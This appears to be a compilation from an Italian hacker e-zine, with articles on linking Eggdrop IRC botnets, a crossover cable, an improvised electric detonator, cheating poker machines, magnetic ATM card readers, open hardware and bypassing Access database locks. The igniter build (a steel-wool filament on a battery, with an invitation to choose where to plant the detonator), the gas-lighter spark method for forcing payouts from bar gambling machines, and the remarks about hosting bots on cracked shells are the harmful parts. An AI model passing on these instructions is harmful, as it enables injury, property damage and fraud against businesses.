la sua mask verra' automaticamente grabbata....altrimenti dovrete prima
fare ".+host".
Nel secondo bot dgterete ".+bot <nick1°bot> cacca.com:3333".
Bene bene bene....ora dgtate
".link <nick2°bot>" nel primo bot,
".link <nick1°bot>" nel secondo bot.
Beh ora si scambieranno le pass....ed avrai GeNeRaTo la tua prima
BoTneTTA !!!...dimenticavo....ne puoi aggiungere quanti ne vuoi di BotZ..
na bella botnet...di una 50ina di bot.....hihihihi.....e chi la butta giu' ?

U. Uso Delle Bandiere :PPP scherzo....delle FlaGz

Beh....sono assolutamente necessarie per far compiere delle funzioni ai
vostri BotZzzz.

"h" (hub)
Il bot contrassegnato come hub si auto-linkera' ogni volta che verra' unlinkato
o fatto ripartire...in caso di reboot del server..o caxxate varie...
Oh....a propo'....solo un bot potra' avere il +h capi' ? :PPP
il capo e' uno....tutti gli altri son nessuno :))
Spiego meglio: tutti i bot "leaf" si linkeranno al capo..."hub"

Comando: ".bottattr <nomebot> +h"

"a" (alternativo)
Il bot contrassegnato come "alternative" non e' quello che va in disco vestito
modello pattumiera o non ci va'.....e va in giro vestito alla Che Guevara !
E' semplicemente quello che fa le veci dell'"hub" in caso sparisca o sia
impossibile linkarvici.
Solo un bot alla volta potra' avere il "+a"....
il vice-capo e' uno....tutti gli altri son nessuno :PPP

Comando: ".bottattr <nomebot> +a"

"l" (leaf....foglia...hihihi)
Questa flag assegnata ad un altro bot fara' in modo che il tuo bot unliknera'
l'altro se quest'ultimo cerchera' di linkarsi ad un altro.

Comando: ".botattr <nomebot> +l"


flag "r" reject ---> riggetto °_°

Un bot settato +r detto anke "poeretto cucciolo abbandonato ed emarginato"
non sara' tollerato dalla vostra botnet e sara' slinkato da essa se
cerchera' di linkarvici o di linkarsi ad un bot facente parte di essa.

comando: ".botattr <nomepoerettobottolo> +r"

flag "i" isola

Un bottolino con il +i sara' isolato dalla partyline con un altro bot o
la relativa botnet.

comando: ".botattr <bot> +i"

flag supplementari "0-9"

Este flagz sono definibili dagli utenti indi non sono definite
nell'egg vero e proprio.

comando: ".botattr <bot'zName> +0-9"

flag "s" Aggressive shareee,condivisione aggressiva....grrrrr.... :()

Il bot con il +s state tranqui di certo non morde e manco brandisce
un'alabarda spaziale...semplicemnte cerchera' di comunicare e di sendare
agli altri bot i suoi user file :PP

comando: ".botattr <kattivobot> +s"

flag "|s"

Beh nulla di cosi' complicato...con questa flag semplicemente definite chan
nei quali un bot (settato +s) deve condividere gli user file.

comando: ".botattr <NoM3> |s #cacca"

flag "|+s"

Co' sta flagga selezioni un chan per il quale il bot accettera' dei cambiamenti
nel suo userfile da un bot settato +p.

comando: ".botattr <BoTTo> |+s #cacca"

flag "p" Share Pa$$iveLy...Condivision3 pa$$iva :-|

Il bottolo/a settato/a +p accettera' il cambiamento dei propri file da user da
parte di un altro bottolino.

comando: ".botattr <roBOT> +p"

flag "g" Condivisione GloBaLeZZzzzz :O

Se lo setti ad un tuo bot con flag +s o +p ogni cambiamento su ogni singolo canale
verra' trasferito e modificato negli user fileZZzzz

comando: ".botattr <BoTtTtTtt> +g"

Beh...oh me so fatto 2 palle grandi come na casoccia...saluti e baci io vi saluto
e mi guardo mezzanotte e dintorni...che quel bischero sta intervistando na pischella
che e' just na BomBa !....'cci sua....

Rendere comuni gli user file :P

Prima di preparare la tua botnet per lo sharing degli user file,
devi essere sicuro di aver trasferito e caricato i moduli
dello sharing dei filesystem per gli utenti.Devi anke essere
sicuro che il canale di cui gli user file devono essere condivisi
e' settato con la flag +shared del file di conf.

Se ti sei assicurato che tutto cio' sia stato fatto puoi
incominciare a preparare la tua botnet.
Per prima cosa devi decidere che bot deve essere settato con lo sharing
aggressivo (botA) e chi lo sara' passivamente (botB) e ricevera'
gli user file.
Tutto questo puo' essere fatto dalla console del bot.SAppi pero'
che non puoi cambiare le flag del bot se e' linkato indi
per cambiarle devi prima slikarlo.

Sul BotA:
.botattr BotB +s

Sul BotB:
.botattr BotA +p

Indi ora devi decidere se il botA deve condividere gli user
file in tutti i chan o solo in alcuni.
Per condividere gli user file in tutti i chan:

Sul botA:
.botattr BotA +g

Sul botB:
.botattr BotA +g

Se non vuoi che il bot condivida gli user file in tuttio
i chan ma solo in #cacca bisogna settare le seguenti flag:

Sul botA:
.botattr BotA |s #cacca

Sul botB:
.botattr BotA |+s #cacca

In questo modo potete aggiungere quanti canali volete.
Quando condividete gli user file condividerete anke i ban
e gli ignore...escluse le flag settate nei bot.

Beh...io avrei concluso, vi assicuro che e' stata una gran
bella rottura di ballonzole e che a me delle botnet non me
po' frega' de meno...ricordate sempre che un bot che salta
in IRC senza un vhost e' semplicemente un dire a tutti:
"questo e' l'ip della shell che ho bukato" e vi assicuro che
se non avrete patchato il buketto in un paio di giorni
ci sara' tanta altra bella gente sul vostro serveruzzo...
statv buon bellezz...cia' :)
Original by Johoho translation and RewieV by DanTaZZonE :P

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
² EEEE EE EEEE EEEEEEEEEEEE EEEEEE EEEEEE EE EE EE EEEEE EEE ²
² E EE E EE EE EE EE EE EE EEE EE EE EE EEEEE ²
² EEEE EE EEEE EE EE EEEEE EE EE EEEE EE EE EE EEE EEE ²
² E EE E EE EE EE EE EE EE EE EEEE EE EE EEEEEEEEE ²
² EEEE EEEEE EEEE EE EE EE EE EEEEEE EE EEE EE EEEEE EEE EEE ²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

__ ___ _ _______ ____ ____
/ |\/ /| |_ ___| __ \ / _ |\
-------------/ |/ / | |_\ \__| _/\/ /\/ / |--------------
--------------/ /| / /| | \ \ | | \\/ /_/ / /-------------
/__/ |__/ / |_| \__\|_|\_\|___ / /
\__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c)

CoMPuTeR'S HeaVen SoCieTy

*****************************************************************************
**************************** SoFTWaRe CoLLeCTioN ***************************
*****************************************************************************

PRESENTA: Come costruirsi un cavo Cros-over per collegare in rete due pc
point to point attraverso un cavo con spinotti RJ45 per schede
10/100 base T.

OCCORRENTE: Una radio, non si sa mai....
Se proprio volete fare alla grande, gli spinotti nuovi,il cavo e
le pinze "apposta" ( costo approssimativo delle pinze 50.000œ ).
Un cavo comune per la connessione delle schede ad un HUB un paio
di fobici un saldatore del nastro isolante o ancora meglio della
guaina termoretraibile.
Una bottiglia di Sprite ( Cosa bevono li smanettoni pi— estremi?
la stessa cosa di queli pi— impediti. Ascolta la tua fame, fatti
una biondona :) ).
Ho cambiato la marca di cicche, dunque un pacchetto di Diana
Ultra.
Se volete fare come me, prendetevi un bel CD dei Jethro Tull e
schiffatevelo a palo.

Bene bene bene, ho finito....
Azzo non avevo ancora incominciato come faccio ad aver finito ....?
Allora... premetto un'altra cosa: questo cavo puo essere utilizzato per
connettere due HUB da 4 6 o 8 porte al fine di ottenerne praticamente uno da
6 10 o 14 porte con le stesse cartatteristiche di velocit…: se gli HUB erano
da 100 Mbit/s, anche il risultante rimane da 100 Mbit/s.
Detto questo vediamo un po' ci• che ci interessa realmente per connettere sti
due benedetti pc.
In una scheda di rete ethernet che utilizza l' RJ45 bisogna sapere che
l'uscita dei dati dalla stessa ( TX ) avviene su una linea separata da quella
dei dati in entrata ( RX ) percio si rende necessario, essendo le due linee
separate fisicamente, fare arrivare i dati provenienti dalla linea TX alla
linea RX in modo tale che la seconda scheda li possa ricevere.
Nel caso ci siano piu schede Š ovvio che ci vuole un qualcosa che reindirizzi
correttamente il TX di una scheda all' RX di quella corretta ... ecco a cosa
serve un HUB.

sk1 <====================> HUB <====================>sk2

/\
||
||
||
||
\/
sk3


sk1 TX -------------------> HUB ----------X----------> RX sk2
| NO
|
| SI
|
V
RX sk3

Quando per• ci interessa collegare solo due pc l'HUB diviene praticamente
inutile, o meglio sprecato. (ricordo che costa sempre attorno alle 200 000 œ)
Allora possiamo ricorrere al trucco del cavo Cross Over che non centra un
cacchio con il crossover delle casse del vostro stereo...
Iltrucco sta semplicemente nel dirottare il TX di una scheda sull' RX
dell'altra e viceversa, in modo tale che i dati in uscita vadano a finire
direttamente in entrata sull' altra scheda.

Scheda 1 Scheda 2

TX 1 ==================================================================> RX 2
RX 1 <================================================================== TX 2

Per fare questo basta brutalmente invertire quattro fili ( 2 per il TX e 2 per
l'RX ). Per fare cio dovete conoscere la numerazione dei piedini dei
connettori RJ45 che vi faccio vedere qui sotto...

1 ______ 8
__| |__
| |||||||| |
| |||||||| |
| |||||||| | Vista del connettore dal basso
| |
| |
| |
| |
|____________|

__
1 _| |_ 8
__| |__
| |||||||| |
| |||||||| | Vista frontale dello stesso connettore
|____________|

Ora se vi dico che il TX+ Š il pin 1, il TX- Š il pin 2, l'RX+ Š il pin 3 e
l'RX- Š il pin 6 vi viene in mente nulla... ?
Nooooooo allora lasciate perdere .... Sto scherzando :)
bhe, semplicemente basta collegare il TX+ con l' RX+ e iL TX- con l'RX- della
scheda opposta... gurdate lo schemino qui sotto, dovrebbe delucidarvi.


TX + 1 \ / 1 TX +
\ /
TX - 2 \ / / 2 TX -
/ /
RX + 3 / / \ 3 RX +
/ \
RX - 6 / \ 6 RX -

E gli altri pin ? Vanno collegati con i corrispondenti sull'altra scheda...
vedi schema...

4 ----------- 4
5 ----------- 5

7 ----------- 7
8 ----------- 8

Evito di unire i due schemi altrimenti ne uscirebbe un bel casino :)
E il grande mistero del cavo per la connessione diretta di due pc con schede
di rete Ethernet e cavo con connettori RJ45 Š finalmente svelato...

E con questo arrviamo ai saluti...
1 Ciao a N0bodY88 e 1 grazie di tutto....
e un ciao a tutti voi e occhio a non fottervi le schede .....
Byez to all.
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

INIEZIONE ELETTRONICA II

Mi occorre:

- Paglietta (Quella palla di striscioline di acciaio usata per scrostare le
padelle...)
- Batteria
- Cavo elettrico fine
- Pazienza

Iniziamo:

Mmmm il principio e' abbastanza stupido, guardatevi il disegno che ci capiamo
subito :)
Bisogna dosare lunghezza del filamento e voltaggio.
Tenete in considerazione che un voltaggio troppo alto brucia il filamento e
trobbo basso...
Il voltaggio ideale per 3 cm di filamento e' 24V. Fatevi voi i calcoli :-))
Naturalmente il voltaggio potrebbe anche diminuire, ma le probabilita'
di fallimento crescono.
Disegno (spero efficace) :

/----------------------------------" <
| /------------------------\0000| < FILAMENTO
(+) (-) \ ----"

| | CAVI ELETTRICI
----------
| | 0000 = SCHEGGIA DI LEGNO
| | e' utile creare un distacco dai due fili mediante una
| | < PILA scheggia di legno (o altro), fermare il tutto con nastro
| | isolante e infine legare il filamento. (nell' immagine
---------- ho omesso il nastro isolante per chiarezza...)

Potrete poi sbizzarrirvi voi su dove mettere il detonatore.....

----- Fine----

--AndThen--

Un saluto a :
Ax1s,Fake,N0b0dy88,[RequieM],TheDuke,Ergoline,Zero,debian
b-cen,jaMMiNa,NighTiger,Gourry,Java,vaffa,CyberBrown,HtB,...
e a chi non'ho nominato :-)

Per qualsiasi motivo --> JuxWell@freemail.it

Byez all |-|-| Jux*JuxWell
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ QUALCHE CONSIGLIO UTILE SU COME FOTTERE LE MACCHINETTE DEL POKER ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Allora gente sono sicuro che avete letto da qualche parte questo tipo di
informazioni, ma sono altrettanto sicuro che non ne avete mai letto come
queste, o per lo meno io non ho ancora incontrato questo tipo di info.

Le tecniche sono 2 semplicissime ed infallibili, provate io personalmente.

Materiale occorrente------------>>>>>>>>> un bel accendi gas elettrico
(consiglio di comprarlo dai marocchini)

Primo metodo:

OK adesso che avete tutto il materiale si lavora, bisogna prima di tutto
modificare l'accendi gas in modo da far uscire il cavetto metallico che fa'
la scintilla attenzione a non rompere il piccolo che serve a fare la massa;
in pratica dovete tagliare la punta di plastica (un bel pezzo). Adesso
recatevi dal vostro bar di fiducia e senza farvi vedere inserite il filo di
ferro del vostro accendiGas da combattimento nella fessura delle banconote,
ok adesso accendete accendete, la macchina segnera' punti punti punti,
probabilmente si impalla ma niente paura la memoria tiene i vostri puntazzi.
Massima vincita da me riportata=1.000.000lire

Secondo metodo:

Allora questo metodo e' meno efficace, nel senso che non funziona su tutte le
macchinette. Smplicemente dovete impallare la macchina accendendola e
spegnendola mille volte finche non si impalla sputando fuori mille ticket.

Credo siano i metodi piu' semplici ed efficaci che conosca

CIAOOO Fatene buon uso

BY SpIRIToZ

http://spiritoz.cjb.net spiritoz@nfmail.com irc: #hackernow2
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

***********************************
*** Carte Magnetiche by [RequieM] ***
***********************************

/* Articolo: */
/* * libri/testi che trattano l'arg nominati in seguito * */
/* * Non necessaramente questo articolo avra' un seguito * */

Le proprieta' magnetiche sono sempre state utilizzate nel campo dell'informa
tica fin dagli albori di questa materia inquanto la base di esse .
Questo articolo vuole generalmente esplicare la teoria delle carte magnetizzate .
La "stringa" `carte magnetiche` ha per molti di noi un sinonimo che utilizziamo
quasi quotidianamente ...il bancomat .

Sicuro del fatto che la maggior parte di voi altro non puo' essere interessata
che a questo argomento , prenderemo a modello il bancomat .
I primi a "bucarlo" sono stati degli hacker tedeschi i quali hanno dimostrato
la totale inadeguatezza del sistema di sicurezza dei bancomat .
Costruitisi un lettore di carte magnetiche con delle testine di un mangia
cassette, vedremo dopo gli schemi , hanno crittanalizzato la PARTE di codice
pin contenuta nella 3a banda di cui e' composta 1a scheda magnetica standard,
risalendo alla totalita' del codice tramite analisi statistiche .

Il metodo con cui vengono codificate le carte magnetiche e' quello binario
0/1 per ogni valore si usano di solito 8 bit --> standard ASCII
Le dimensioni normali secondo lo standard ISO 3554 sono {8,5 x 5,4} cm ;
le tracce sono 3 e sono spesse 0.11" l'una ossia 0,275 cm .
Le informazioni sono registrate con 2 standard di codifica differenti .

Lo standard ANSI/ISO BCD{1} e ANSI/ISO ALPHA{2}
{1} usato per la codifica delle 2 bande partendo dal basso
{2} usato per la codifica dei dati sulla 1a banda
L'header standard in teoria dovrebbe essere l'ISO 3554 {in Italia di solito e'

rispettato} --> andatelo a vedere
Questo standard divide la posizione delle info sulle card ma a noi interessa
la struttura della 3a banda :
E' la traccia nascosta , l'header e' variabile
lo schema e' questo :

107 caratteri (std BCD) nei campi :
SS,FC,PAN,Use security data,Additional Data,ES,LRC (vedi standard in
internet)
Il campo "
clue" e' "Use security ecc. ecc." che contiene :

- codice del paese
- codice di cc
- codice PIN
- data di scadenza
- numero di serie della carta
- numero segreto della carta
- info non indispensabili a seconda del software di lettura della card

Questi dati vengono poi cifrati ...per evitare che siano leggibili a chiunque.
Dopo la tedescata tutte le ditte scrittrici di card tendono a mantenere parte
delle info , di qualsiasi natura esse siano , in 1 database che renderebbe +
difficoltoso risalire alla totalita' di esse .

Consiglio attenta lettura e studio {mesi} di arts in merito
su Phrack#37 / Hack-Tic #8 #9 #10

il prog allegato e' stato scritto di notte con gli
occhi che vedevano a 30Hz Verticali ...

SCHEMA ELETTRICO DI UN LETTORE DI CARTE MAGNETICHE .

12V
|
|------||----------------------|------|-------------------------------|-----|
__|__ | | | | > |
-- | | | R5 < >
- C7 = | < > R7 <
| < > R3 | >
| R1 > < | |-(vedi sotto)
__|__ < | | _|
-- | |---------||---------|----------|---|-| Q2
- | _ C3 | | -|
C1 | _ Q1 | | |---------|
|----------------||-------------|_------- = C4 < < |
| | -| | | R6 > R8 > = C5
@ < | --- | < < |
@ R2 > | --- C2 ----- | | |
@ L1 < < | -- |-----|---------
@ | > R4 | - |
| | < | -----
| |-----|------ --
_____ | -
-- __|__
- --
-

-(vedi sotto)--------------------------Output
| |
| |
= C6 |
| ^ Z1
| |
---------

R1 = 68k, R2 = 10k , R3 = 22k , R4 = 2,2k
R5 = 8.2k , R6 = 1k , R7 = 2.2k , R8 = 47
C1 = 22uF , C2 = 10uF , C3 = 47uF , C4 = 22nF
C5 = 150uF , C6 = 22nF , C7 = 2200uF ossia 16V
L1 = Testina magnetica (mono)
Z1 = Zener Diode con in breakdown di ~ 6V
Q1,Q2 = qualsiasi transistor bipolare NPN

Questo schema presuppone 1a certa conoscenza nel campo ;
I calcoli li ho riveduti velocemente apportando qualche modifica
agli schemi riportati sulle riviste gia' nominate .

Il programma e' bene usarlo 3 volte per vedere se i dati
non concordano .

Il codice necessario a crittanalizzare il contenuto della 3a banda
non verra' reso disponibile .

/* requiem@freemail.it */
/* byall [RequieM] */

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ OPEN SOURCE segnalatoci da MAXPIRATA ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ciao ragazzi .. voglio riportare un'articolo (interessante) apparso si
inter.net di Aprile. Leggetelo e poi fatemi sapere cosa ne pensate !

------------------------------------------------------------------------------------------

Un gruppo di

  
volontari sta lavorando alla progettazione delle componenti
hardware che formano un computer con l'intento di rilasciare schemi e disegni
gratuitamente alla comunita'.
L'obbiettivo e' di far nascere anche qui una comunita' di sviluppatori che
possa in pochi anni arrivare a successi analoghi a quelli che sono stati
ottenuti con il software.
Immaginate un intero pc generato dalla collaorazione di migliaia di ingegnieri
e appassionati mossi solo dalla voglia di fare il miglior computer. Di per
se' la notizia e' interessantissima, ma non e' poi eccezionale se vista facendo
fuoco su un orizzonte piu' lontano.
Credo che stiamo entrando in un epoca dove ci saranno molti progetti
volontaristici per la condicisione gratuita del sapere per il bene della
comunita'.
Un movimento che si potrebbe definire Conoscene "aperte", o meglio condivise.
Internet e la potenza di calcolo dei pc costituiscono l'humus per la
proliferazione di questo nuovo modus cogitanti.
Linux e' l'esempio bandiera dei numerosi progetti di programmi a sorgenti
gratuiti e , come gli altri, e' stato portato avanti dal lavoro infaticabile
di decine di migliaia di volontari. Tra questi nessuno era ed e' interessato
ad un ritorno economico; io' che li ha sempre spinti e' una miscela di
motivazioni he non ha a che vedere con il denaro:passione e divertimento,
stima del gruppo di sviluppatori, consapevolezzadi contribuire alla
realizzazione del miglior sistema operativo del mondo , filantropia.
Insomma un tipo di interessi che rompe gli schemi dell'impostazione
economica classica, dove tutto e' fatto per soldi. La ragione per cui
molti analisti credono ce l'open source sia un qualcosa di passeggero
e' dovuta al fatto che prima o poi questo ardore per la gratuita' svanisca
e si ritorni alla motivazione pecunaria .
L'esempio a cui facevo riferimento , quello dell'harddware aperto
(www.opencores.org) e' solo un esempio di quello che si sta preparando.Da anni
i docenti delle universita' di tutti i paesi anglosassoni pubblicano on line
i risultati dei loro studi di modo che altri possano usufruire, suggerire e
portare avanti le ricerche. I professori nostrani, invece, sono troppo
impegnati a riscrivere per l'ennesima volta libri banali scritti in modo
incomprensibile per aumentare le pubblicazioni.
Frecciatine facili a parte,tale contesto ha avuto come frutto la nascita
dell'open law project.
I professori Larry Lessing e Charles Neson dell'universita' Haward hanno
dato vita ad una rete di esperti in legge,avvocati e studenti che oltre ad
apportare idee su come modificare leggi non piu' al passo con i tempi se non
ipotizzarne di nuove, consente di condividere esperienze e conoscenze su
specifici casi di maggior spessore.
Certo , il polso deciso e il carattere tranquillo di Lessing,capo del
progetto, e' fondamentale perche' si prendano posizioni precise su vari
argomenti e perche' si costituisca una efficace organizzazione del lavoro.
Ma questo e' fondamentale per qualsiasi cosa ed e' avvenuto anche con lo
sviluppo di Linux con la presa al "comando" di Torvald.Un ulteriore ambito
dove potrebbe facilmente nasere un altro progetto di conoscenze aperte e'
quello della medicina .
[...]
Certo e' che linux non sara' da solo.
---------------------------------------------------------------------------------------------

Ok...avete letto quello che sta sritto sopra? Siete contenti? Be io si ...
pero ' sono molto meravigliato di sta notizia.
Dove ho messo [...] l'autore parlava delle possibili applicazioni di questa
"etica" sulla medicina , sull'arte....pero' penso che a voi interessava
quella relativa all'hardware.
Pero' notate come finisce l'art :
" Certo che linux non sara' da solo " .... speriamo che quello che dice
l'autore non sia solo un sogno :)
Andate a vedere il link : www.opencores.org

Ora vi saluto !
Ringraziamenti vanno a : N0bodY88 e RigoR MorteM ( i miei due amiconi )
fatevi sentire tutte e due quando avete un po' di tempo !

Ciao a tutti gli amici di newbie da
|M4X|
maxpirata@hotmail.com

P.S. :Per qualunque critica, richiesta d'aiuto, collaborazione per
newbie, ecc..ecc...citofonatemi a : maxpirata@hotmail.com

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°°°°°°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°°°°ÛÛÛÛ°°°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°²
²°°°°°°°°°ÛÛÛÛÛÛ°°°°ÛÛ²²ÛÛ°°°ÛÛ°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°°ÛÛÛÛÛÛÛÛ°°°ÛÛ°°°Û°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°°°°°°°°²
²°°°°°°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°°°ÛÛ°°°ÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
__ ___ _ _______ ____ ____
/ |\/ /| |_ ___| __ \ / _ |\
-------------/ |/ / | |_\ \__| _/\/ /\/ / |--------------
--------------/ /| / /| | \ \ | | \\/ /_/ / /-------------
/__/ |__/ / |_| \__\|_|\_\|___ / /
\__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c)

CoMPuTeR'S HeaVen SoCieTy

*****************************************************************************
**************************** SoFTWaRe CoLLeCTioN ***************************
*****************************************************************************

Presenta :

Come bloccare e sbloccare la possibilit… di modificare un dbase in
Acess97....
e ascoltate bene: anche nel 2000 hi hi hi hi hi hi hi hi hi hi hi hi
( W Microsoft che non corregge i buchiiiiii tra un relase e l'altra )

Occorrente :
Ma guarda un po', Acess 97 o 2000 he he he
30 min del tuo inutile ( o preziosissimo ) tempo ( come vuoi )
Sto cercando di smettere di fumare quindi niente cicche nelle
immediate vicinanze ... :)
Uno stereo... la musica Š indispensabile per ipnotizarre il PC ....
Vedi tu una Coca Cola o tŠ alla pesca, come ti gira ...
Buoni riflessi con il mouse ... questo non Š uno scherzo ...

Iniziamo creando un Dbase con Acess come cacchio ci gira quindi divertitevi :)
L'unica cosa che vi consiglio Š di creare una maschera in modo da rendere il
tutto un po' pi— divertente he he he he.

(1) Come bloccare un database

Una volta creato bisogna settare i parametri di avvio per il nostro dbase. Per
fare ci• andate sulla barra dei men— quindi: "Strumenti" ==> "Avvio ..."; vi
si dovrebbe aprire una form nella quale potete inserire tutti i parametri di
avvio che volete. Vediamoli qui di seguito ( visto che potrebbero essere
utili un giorno ve li spiego velocemente tutti :)):
"Titolo aplicazione" => Š il titolo che appare sulla finestra principale di
Acess ( in alto o sinistra ).
"Icona aplicazione" => lo sapevate che potete cambiare l'icona di acess in
alto a sinistra? Ora lo sapete, basta inserire qui quella che volete :).
"Barra men—" => nel caso creiate pi— barre dei menu potete associare quella
che volete a questo dbase altrimenti potete lasciare "(predefinita)".
"Men— completi" => Eccoci arrivati alla prima voce interessante...
deselezionandola spariscono i men—: "Visualizza", "Formato", "Strumenti"
he he he proprio "Strumenti", quindi una volta modificate le impostazioni
di avvio deselezionando questa voce non Š pi— possibile tornare indietro
(teoricamente... vi spiego poi come si fa a ritornarci)
"Men— di scelta rapida predefiniti" => Deselezionandolo si disabilitano i
men— di scelta rapida, incredibile vero? :)
"Visualizza maschera/pagina" => Imposta la maschera o la pagina di partenza
all'apertura del dbase, quella che viene aperta automaticamente all' avvio
"Visualizza barra di stato" => Devo dirlo? Fa sparire la barra di stato in
basso :)
"Visualizza finestra database" => Fa sparire la finestra attraverso la quale
si creano tutte le finestre, le maschere, i report ecc... Altr cosa
interessante non Š vero?
"Barra men— di scelta rapida" => stessa cosa dalla "Barra men—" solo che sta
volta Š per quelli di scelta rapida Stupefacente ......... :)
"Barre srtumenti incorporate" => Toglie semplicemente tutte le barre degli
strumenti, cosa moooooolto interessante per il blocco dello stesso dbase.
"Consenti modifica a barredegli strumenti/men—" => autoesplicativo...
OK ultimo sforzo e li abbiamo visti tutti...
Clickate su "Avanzate >>"e vi dovrebbe apparire una nuova check "Usa tasti
speciali Acess"
anche questo dovrebbe essere autoesplicativo comunque
disabilita i shortcut via tastiera di acess.
Bene bene adesso che li abbiamo visti un po' tutti a voi il divertimento di
settarli come pi— vi piace per creare una semiaplicazione basata su Acess.
Notate solamente che con l'abbinata di alcune di queste opzioni potete
bloccare la struttura del dbase. Vediampo un po', nel bel mezzo del cammin di
nostr... azz sto scrivendo la Divna Commedia che non c'entra un cacchio se non
per il fatto di essere una commedia :) (Cazzata colossale).
Ci• che volevo dire Š l'abbinata di praticamente tutte le check eccetto quella
relativa alla barra di stato...

(2) Come sbloccare un database

Ora che avete bloccato il vostro bel database arrivo io e ve lo modifico come
cacchio mi pare e vi dico pure come fare...
Prima quando vi ho detto che bisogna essere un po' rapidi con il mouse non
scherzavo. Per rimodoficare la opzioni di avvio dovete innazitutto riavviare
acess rieseguendolo senza caricare alcun dbase in modo tale che parta con
la barre dei men— predefinita. Una volta lanciato vi chieder… se aprire un
dbase esistente o crearne uno nuovo: voi selezionate quello esistente
bloccato ma NON APRITELO ASSOLUTAMNETNE ORA. Spostatevi con il mouse sul men—
